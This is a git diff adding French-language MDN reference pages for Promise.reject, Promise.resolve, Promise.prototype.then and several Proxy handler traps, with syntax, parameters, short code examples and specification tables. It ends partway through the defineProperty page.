+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Promise.reject(<var>raison</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>raison</code></dt>
+ <dd>La raison pour laquelle la <code>Promise</code> n'a pas été tenue.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) qui est rompue avec la raison passée en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction statique <code>Promise.reject</code> renvoie une <code>Promise</code> qui est rejetée. Pour faciliter le débogage (comprendre plus rapidement le problème et sélectionner une erreur précise), il peut être utile que l'argument <code>raison</code> soit une instance d'{{jsxref("Error")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">Promise.reject(new Error("échec")).then(function() {
+  // n'est pas appelée
+}, function(erreur) {
+  console.log(erreur); // Analyse de la pile d'appels
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.reject")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html
new file mode 100644
index 0000000000..abda218c20
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/resolve/index.html
@@ -0,0 +1,156 @@
+---
+title: Promise.resolve()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/resolve
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Promise.resolve(valeur)</strong></code> renvoie un objet {{jsxref("Promise")}} qui est résolu avec la valeur donnée. Si cette valeur est une promesse, la promesse est renvoyée, si la valeur possède une méthode {{jsxref("Promise.then","then")}}, la promesse renvoyée « suivra » cette méthode et prendra son état ; sinon, la promesse renvoyée sera tenue avec la valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-resolve.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="blockIndicator warning">
+<p><strong>Attention !</strong> <code>Promise.resolve()</code> ne doit pas être appelée sur un objet <em>thenable</em> qui se résout en lui-même. Cela provoquera une récursion infinie et <code>resolve()</code> tentera d'aplatir ce qui ressemble à une promesse imbriquée à l'infini.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>Promise.resolve(valeur)</var>;
+Promise.resolve(promesse);
+Promise.resolve(suivant);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>valeur</code></dt>
+ <dd>L'argument qu'on souhaite résoudre avec cette promesse (<code>Promise</code>). Cet argument peut être un objet <code>Promise</code> ou un objet avec une méthode <code>then</code> à résoudre à la suite.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) qui est résolue avec la valeur indiquée en argument ou la promesse passée en argument si celui-ci est une promesse.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction statique <code>Promise.resolve</code> renvoie un objet <code>Promise</code> qui est résolu.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_statique_Promise.resolve">Utilisation de la méthode statique <code>Promise.resolve</code></h3>
+
+<pre class="brush: js">Promise.resolve("Succès").then(function(valeur) {
+  console.log(valeur); // "Succès"
+}, function(valeur) {
+  // n'est pas appelée
+});
+</pre>
+
+<h3 id="Résoudre_un_tableau">Résoudre un tableau</h3>
+
+<pre class="brush: js">var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+  console.log(v[0]); // 1
+});
+</pre>
+
+<h3 id="Résoudre_une_autre_Promise">Résoudre une autre <code>Promise</code></h3>
+
+<pre class="brush: js">var original = Promise.resolve(33);
+var cast = Promise.resolve(original);
+cast.then(function(value) {
+  console.log("value: " + value);
+});
+console.log("original === cast ? " + (original === cast));
+
+// affiche ceci dans la console (dans cet ordre) :
+// original === cast ? true
+// value: 33
+</pre>
+
+<p>L'ordre des traces dans la console est dû au fait que les gestionnaires <code>then()</code> sont appelés de façon asynchrone (plus de détails sur <code>then</code> <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/then#Valeur_de_retour">dans cet article</a>).</p>
+
+<h3 id="Résoudre_des_objets_avec_then_et_renvoyer_des_erreurs">Résoudre des objets avec <code>then</code> et renvoyer des erreurs</h3>
+
+<pre class="brush: js">// Résoudre un objet avec then
+var p1 = Promise.resolve({
+  then: function(onFulfill, onReject) { onFulfill("tenue !"); }
+});
+console.log(p1 instanceof Promise) // true, l'objet est transformée en une Promise
+
+p1.then(function(v) {
+    console.log(v); // "tenue !"
+  }, function(e) {
+    // n'est pas appelée
+});
+
+// L'objet avec then renvoie une erreur avant le callback
+// La promesse n'est pas tenue
+var thenable = { then: function(resolve) {
+  throw new TypeError("Renvoi d'erreur");
+  resolve("Résolution ");
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+  // n'est pas appelée
+}, function(e) {
+  console.log(e); // TypeError : Renvoi d'erreur
+});
+
+// L'objet avec then renvoie une erreur après le callback
+// La promesse est tenue
+var thenable = { then: function(resolve) {
+  resolve("Résolue");
+  throw new TypeError("Erreur");
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+  console.log(v); // "Résolue"
+}, function(e) {
+  // n'est pas appelée
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.resolve")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/then/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/then/index.html
new file mode 100644
index 0000000000..b077425e5a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/then/index.html
@@ -0,0 +1,265 @@
+---
+title: Promise.prototype.then()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/then
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Méthode
+  - Promise
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>then()</strong></code> renvoie un objet {{jsxref("Promise")}}. Elle peut prendre jusqu'à deux arguments qui sont deux fonctions <em>callback</em> à utiliser en cas de complétion ou d'échec de la <code>Promise</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-then.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si aucun des deux arguments n'est utilisé ou que les objets fournis ne sont pas des fonctions, une nouvelle promesse est créée sans autre gestionnaire supplémentaire. Si le premier argument est absent ou qu'un objet qui n'est pas une fonction est passé, la nouvelle promesse utilisera la fonction de réussite de la promesse originelle. De même, si le deuxième argument n'est pas passé ou que ce n'est pas une fonction, la nouvelle promesse créée utilisera la fonction de rejet de la promesse appelante.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>p.then(siTenue);
+p.then(siTenue, siRejetée)</var>;
+
+p.then((valeur) =&gt; {
+    // Promesse tenue
+  }, (raison) =&gt; {
+    // Rejet de la promesse
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+</ul>
+
+<dl>
+ <dt><code>siTenue</code></dt>
+ <dd>Une {{jsxref("Function","fonction","",1)}} appelée lorsque la <code>Promise</code> est tenue. Cette fonction a un seul argument, la <code>valeur</code> qui a permis de résoudre la promesse. Si <code>siTenue</code> n'est pas une fonction, elle est implicitement remplacée par une fonction « identité » qui renvoie l'argument tel quel.</dd>
+ <dt><code>siRejetée</code> {{optional_inline}}</dt>
+ <dd>Une {{jsxref("Function","fonction","",1)}} appelée lorsque la <code>Promise</code> est rejetée. Cette fonction a un seul argument, la <code>raison</code> pour laquelle la promesse a été rejetée. Si <code>siRejetée</code> n'est pas une fonction, elle est implicitement remplacée par une fonction qui lève une erreur avec la <code>raison</code> passée en argument.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>then()</code> renvoie une promesse ({{jsxref("Promise")}}) en attente de résolution et dont la valeur est déterminée selon les deux fonctions passées en arguments et qui seront appelées de façon asynchrone :</p>
+
+<ul>
+ <li>Si <code>siRejetée</code> ou <code>siTenue</code> lève une exception ou renvoie une promesse rompue, la promesse renvoyée par <code>then()</code> est rompue et la valeur fournie est l'exception ou l'explication de la promesse rompue.</li>
+ <li>Si <code>siRejetée</code> ou <code>siTenue</code> renvoie une promesse tenue ou n'importe quelle autre valeur, la promesse renvoyée est tenue et la valeur de résolution est la même que celle de la promesse tenue.</li>
+ <li>Si <code>siRejetée</code> ou <code>siTenue</code> renvoie une promesse en attente de résolution, la promesse renvoyée par <code>then()</code> sera résolue de la même façon que la promesse renvoyée par le gestionnaire. En fait, dans ce cas, la promesse renvoyée par <code>then()</code> est la même que la promesse renvoyée par le gestionnaire (<code>siTenue</code> ou <code>siRejetée</code>).</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>Comme les méthodes <code>then()</code> et {{jsxref("Promise.prototype.catch()")}} renvoient des promesses, on peut enchaîner ces opérations (c'est ce qu'on appelle la <em>composition</em> de promesses, voir l'exemple ci-après).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_then()">Utilisation de la méthode <code>then()</code></h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve("Succès !");
+  // ou
+  // reject("Erreur !");
+});
+
+p1.then((valeur) =&gt; {
+  console.log(valeur); // Succès !
+  }, (raison) =&gt; {
+  console.log(raison); // Erreur !
+});
+</pre>
+
+<h3 id="Composition_-_Chaînage">Composition - Chaînage</h3>
+
+<p>La méthode <code>then()</code> renvoie un objet <code>Promise</code>, ce qui permet d'enchaîner les opération. On peut passer une fonction lambda à then puis utiliser la promesse obtenue pour la passer à la méthode suivante. Dans l'exemple ci-après, on simule un code asynchrone avec la fonction <code>setTimeout</code>.</p>
+
+<pre class="brush: js">Promise.resolve("toto")
+  // 1. Première étape, on reçoit "toto" et on le concatène avec
+  //    "truc", ce qui résoud la première étape puis on passe au
+  //    deuxième then
+  .then(function(string) {
+    return new Promise(function(resolve, reject) {
+      setTimeout(function() {
+        string += 'truc';
+        resolve(string);
+      }, 1);
+    });
+  })
+  // 2. Deuxième étape, on reçoit "tototruc" et on enregistre une
+  //    fonction de rappel pour manipuler cette chaîne puis l'imprimer
+  //    dans la console. Avant cela, on passe la chaîne intacte au
+  //    prochain then
+  .then(function(string) {
+    setTimeout(function() {
+      string += 'baz';
+      console.log(string);
+    }, 1)
+    return string;
+  })
+  // 3. On affiche un message sur le code, celui-ci sera affiché
+  //    avant que la chaîne soit traitée dans le bloc précédent
+  //    qui agit comme un bloc asynchrone.
+  .then(function(string) {
+    console.log("Et voilà la dernière, qui risque d'arriver avant la 2e");
+
+    // Ici, la chaîne n'aura pas le morceau 'baz' car la fonction
+    // setTimeout retarde l'exécution du code.
+    console.log(string);
+});
+</pre>
+
+<p>Lorsqu'une valeur est simplement renvoyée depuis une fonction lambda <code>then</code>, celle-ci renverra <code>Promise.resolve(&lt;la valeur renvoyée par le gestionnaire appelé&gt;)</code>.</p>
+
+<pre class="brush: js">var p2 = new Promise(function(resolve, reject) {
+  resolve(1);
+});
+
+p2.then(function(valeur) {
+  console.log(valeur); // 1
+  return valeur + 1;
+  }).then(function(valeur) {
+  console.log(valeur + "- cette utilisation synchrone est un peu inutile");
+  // 2- cette utilisation synchrone est un peu inutile
+});
+
+p2.then(function(valeur) {
+  console.log(valeur); // 1
+});
+</pre>
+
+<p>Appeler <code>then()</code> renverra une promesse rompue si la fonction lève une exception ou si elle renvoie une promesse rompue.</p>
+
+<pre class="brush: js">Promise.resolve()
+  .then( () =&gt; {
+    // Ici .then() lève une exception
+    throw 'Oh zut :( !';
+  })
+  .then( () =&gt; {
+    console.log( "Ceci n'est pas appelé." );
+  }, raison =&gt; {
+    console.error( 'la fonction siRompue est appelée : ' + raison );
+});</pre>
+
+<p>Dans tous les autres cas, un promesse de résolution est renvoyée. Dans l'exemple qui suit, le premier <code>then()</code> renvoie <code>42</code> même si la promesse précédente a été rompue :</p>
+
+<pre class="brush: js">Promise.reject()
+  .then( () =&gt; 99, () =&gt; 42 ) // la valeur 42 est renvoyée dans une promesse
+  .then( solution =&gt; console.log( 'Résolue avec ' + solution ) ); // Résolue avec 42</pre>
+
+<p>En pratique, il est souvent préférable d'attraper les promesses rompues plutôt que d'utiliser la syntaxe de <code>then()</code> avec deux fonctions :</p>
+
+<pre class="brush: js">Promise.resolve()
+  .then( () =&gt; {
+    // .then() renvoie une promesse rompue
+    throw 'Oh zut !';
+  })
+  .catch( raison =&gt; {
+    console.error( 'fonction siRompue appelée : ' + raison );
+  })
+  .then( () =&gt; {
+    console.log("Je suis toujours appelée, même si il y a un souci avant");
+  });</pre>
+
+<p>Le chaînage peut également être utilisé pour implémenter une fonction utilisant une API basée sur les promesses et encapsuler une autre fonction :</p>
+
+<pre class="brush: js">function fetch_current_data() {
+  // L'API fetch renvoie une promesse. Cette fonction
+  // expose une API similaire mais lorsque la promesse
+  // est tenue, on effectue plus de tâches
+  return fetch("current-data.json").then((response) =&gt; {
+    if (response.headers.get("content-type") != "application/json") {
+      throw new TypeError();
+    }
+    var j = response.json();
+    // on peut ici manipuler j si besoin
+    return j; // la valeur fournie à l'utilisateur de
+              // fetch_current_data().then()
+  });
+}
+</pre>
+
+<p>Si le gestionnaire <code><em>siTenue</em></code> renvoie une promesse, la valeur de retour de <code>then()</code> sera alors résolue/rompue par cette promesse.</p>
+
+<pre class="brush: js">function resoudrePlusTard(resolve, reject) {
+  setTimeout(function () {
+    resolve(10);
+  }, 1000);
+}
+function romprePlusTard(resolve, reject) {
+  setTimeout(function () {
+    reject(20);
+  }, 1000);
+}
+
+var p1 = Promise.resolve("toto");
+var p2 = p1.then(function() {
+  // On renvoie une nouvelle promesse
+  // qui sera résolue avec la valeur 10
+  // au bout d'une seconde
+  return new Promise(resoudrePlusTard);
+});
+p2.then(function(v) {
+  console.log("tenue", v);
+  // "tenue", 10
+}, function(e) {
+  // ceci n'est pas appelé
+  console.log("rompue", e);
+});
+
+var p3 = p1.then(function() {
+  // Ici, on renvoie une promesse
+  // qui sera rompue avec la valeur
+  // 20 au bout d'une seconde
+  return new Promise(romprePlusTard);
+});
+p3.then(function(v) {
+  // ceci n'est pas appelé
+  console.log("tenue", v);
+}, function(e) {
+  console.log("rompue", e);
+  // "rompue", 20
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.then")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html
new file mode 100644
index 0000000000..21f1d44817
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/apply/index.html
@@ -0,0 +1,118 @@
+---
+title: handler.apply()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/apply
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.apply()</code></strong> représente une trappe pour un appel de fonctions.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  apply: function(cible, thisArg, listeArguments) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>apply</code>. Ici, <code>this</code> est lié au gestionnaire.</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>L'argument {{jsxref("Opérateurs/L_opérateur_this","this")}} pour cet appel.</dd>
+ <dt><code>listeArguments</code></dt>
+ <dd>La liste d'arguments pour l'appel.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>apply</code> peut renvoyer n'importe quelle valeur.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.apply</strong></code> est une trappe pour l'appel à une fonction.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Cette trappe intercepte les opérations suivantes :</p>
+
+<ul>
+ <li><code>proxy(...args)</code></li>
+ <li>{{jsxref("Function.prototype.apply()")}} et {{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy lèvera une exception <code>TypeError</code> :</p>
+
+<ul>
+ <li>la cible doit pouvoir être « appelable ». Autrement dit, il doit s'agir d'une fonction.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple ci-dessous, on piège un appel de fonction.</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log("called: " + argumentsList.join(", "));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+                         // 6
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.apply")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Function.prototype.apply")}}</li>
+ <li>{{jsxref("Function.prototype.call")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html
new file mode 100644
index 0000000000..90eb5f0105
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/construct/index.html
@@ -0,0 +1,137 @@
+---
+title: handler.construct()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/construct
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>handler.construct()</strong></code> est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Afin que l'opération <code>new</code> puisse être valide sur le proxy correspondant, la cible utilisée doit avoir une méthode interne <code>[[Construct]]</code> (autrement dit, l'instruction <code>new cible</code> doit être valide).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  construct: function(cible, listeArguments, newTarget) {
+  }
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Les paramètres suivants sont passés à la méthode <code>construct</code>.  <code>this</code> est ici lié au gestionnaire (<em>handler</em>).</p>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>L'objet cible.</dd>
+ <dt><code>listeArguments</code></dt>
+ <dd>La liste des arguments passés au constructeur.</dd>
+ <dt><code>newTarget</code></dt>
+ <dd>Le constructeur originellement appelé.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La méthode <code>construct</code> doit renvoyer un objet.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code><strong>handler.construct()</strong></code> est une trappe pour l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.</p>
+
+<h3 id="Interceptions">Interceptions</h3>
+
+<p>Ce trappe intercepte les opérations suivantes :</p>
+
+<ul>
+ <li><code>new proxy(...args)</code></li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+</ul>
+
+<h3 id="Invariants">Invariants</h3>
+
+<p>Si les invariants suivants ne sont pas respectés, le proxy renverra une exception {{jsxref("TypeError")}} :</p>
+
+<ul>
+ <li>Le résultat doit être un <code>Object</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on piège l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList) {
+    console.log("called: " + argumentsList.join(", "));
+    return { value: argumentsList[0] * 10 };
+  }
+});
+
+console.log(new p(1).value); // "appel sur : 1"
+                             // 10
+</pre>
+
+<p>Dans cette version, on ne respecte pas la contrainte d'invariance :</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+  construct: function(target, argumentsList) {
+    return 1;
+  }
+});
+
+new p(); // Une exception TypeError est levée
+</pre>
+
+<p>Dans le code qui suit, le proxy n'est pas correctement initialisé. La cible du proxy doit être un constructeur valide qui puisse être utilisé avec <code>new</code>.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  construct: function(target, argumentsList, newTarget){
+    return {};
+  }
+});
+
+new p(); // TypeError: p is not a constructor</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.construct")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>L'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}</li>
+ <li>{{jsxref("Reflect.construct()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html
new file mode 100644
index 0000000000..ea23d3c8e3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/handler/defineproperty/index.html
@@ -0,0 +1,144 @@
+---
+title: handler.defineProperty()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/handler/defineProperty
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>handler.defineProperty()</code></strong> est une trappe pour {{jsxref("Object.defineProperty()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-defineproperty.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">var p = new Proxy(cible, {
+  defineProperty: function(cible, propriété, descripteur) {
+  }
+});
+</pre>
+
